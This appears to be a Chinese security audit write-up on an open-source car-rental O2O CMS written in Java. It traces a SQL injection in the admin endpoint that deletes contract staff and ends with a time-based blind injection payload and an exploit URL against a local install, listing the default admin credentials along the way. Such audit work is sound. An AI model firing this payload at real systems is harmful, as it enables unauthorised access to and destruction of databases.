CMS简介
系统基于租车业务场景而搭建的O2O服务平台,可为用户提供商务租车、接送机、旅游租车、企业租车、自驾租车、婚庆用车等自助租车服务。
系统包含车辆库管理、门店管理、员工管理、司机管理、订单管理、活动管理、评价管理、财务管理、统计等。
cms的下载地址:http://down.admin5.com/jsp/135501.html
部署简介
1、下载代码文件,可以本机调试或上传到自己服务器运行。
2、安装运行程序:
(1)将解压文件夹中的opencarrun安装包复制到tomcat–>webapps–> 下;
(2)将sql导入mysql;
(3)启动tomcat;
(4)启动完毕后,前台访问地址:http://localhost:8080/opencarrun/
后台访问地址:http://localhost:8080/opencarrun/admin/login (默认账号:adimin 默认密码:zft3285497)
3、开发包安装
打开MyEclipse–>File–>Import–>选择Existing Porjects into Workspace–>Next–>Select root directory 选择刚才解压的开发包文件中的opencar–>Finish
sql审计过程
漏洞位置:
WebRoot\WEB-INF\lib\car-weishang-1.0.jar!\com\weishang\my\admin\DeleteAunt.class
功能模块:删除外聘员工
public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); PrintWriter out =response.getWriter(); ShopService ss = new ShopService(); HttpSession session = request.getSession(true); Object user = session.getAttribute("user"); Locale loc = new Locale("zh", "CN"); ResourceBundle rb =ResourceBundle.getBundle("messages", loc); String adminTip = rb.getString("adminTip"); String json = ""; if (user== null) { RequestDispatcher rd =request.getRequestDispatcher("/WEB-INF/jsp/login.jsp"); request.setAttribute("tip", adminTip); rd.forward(request, response); } else { String[] auntIds = request.getParameterValues("aunt_id"); String ids = ""; for(int i = 0; i < auntIds.length; ++i) { ids = ids + auntIds[i] + ","; } ids = ids.substring(0, ids.length() - 1); String flag = ss.deleteAunt(ids); if (flag.equals("ok")) { json = "{\"tip\":\"" + rb.getString("delete") + rb.getString("success") + "\"}"; } else { json = "{\"tip\":\"" + rb.getString("delete") + rb.getString("failure") + "\"}"; } out.print(json); } } |
request.getParameterValues(“aunt_id”) 获取获取用户值,赋值给字符串数组变量 aunt_id, aunt_id经过处理交给ids变量,而ids变量进入deleteAunt方法,这里通过flag变量判断执行是否成功,这样只可能存在盲注了,跟进去:
deleteAunt方法位于
/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class public String deleteAunt(String ids) { String sql = "delete from aunt where aunt_id in (" + ids + ")"; int flag = this.jdbc.executeUpdate(sql); this.jdbc.close(); return flag > 0 ? "ok" : "bad"; } |
从这个方法看是一个执行删除操作,变量ids, 也就是我们问题参数直接被拼接到sql语句中,未做编译,未做任何过滤,从而造成注入漏洞,
String sql =”delete from aunt where aunt_id in (“+ ids +”)”; 如果让这条sql执行,我们构造payload需要做一个闭合,构造如下:
delete from aunt where aunt_id in (1) AND (SELECT 7119 FROM (SELECT(SLEEP(5)))uQYd) AND (8738=8738
漏洞利用过程
http://localhost:8081/admin/adminLogin
默认账号:adimin 默认密码:zft3285497
进入后:
访问删除外聘员工模块
http://127.0.0.1:8081/admin/deleteAunt?aunt_id=1) AND (SELECT 7119 FROM (SELECT(SLEEP(5)))uQYd) AND (8738=8738
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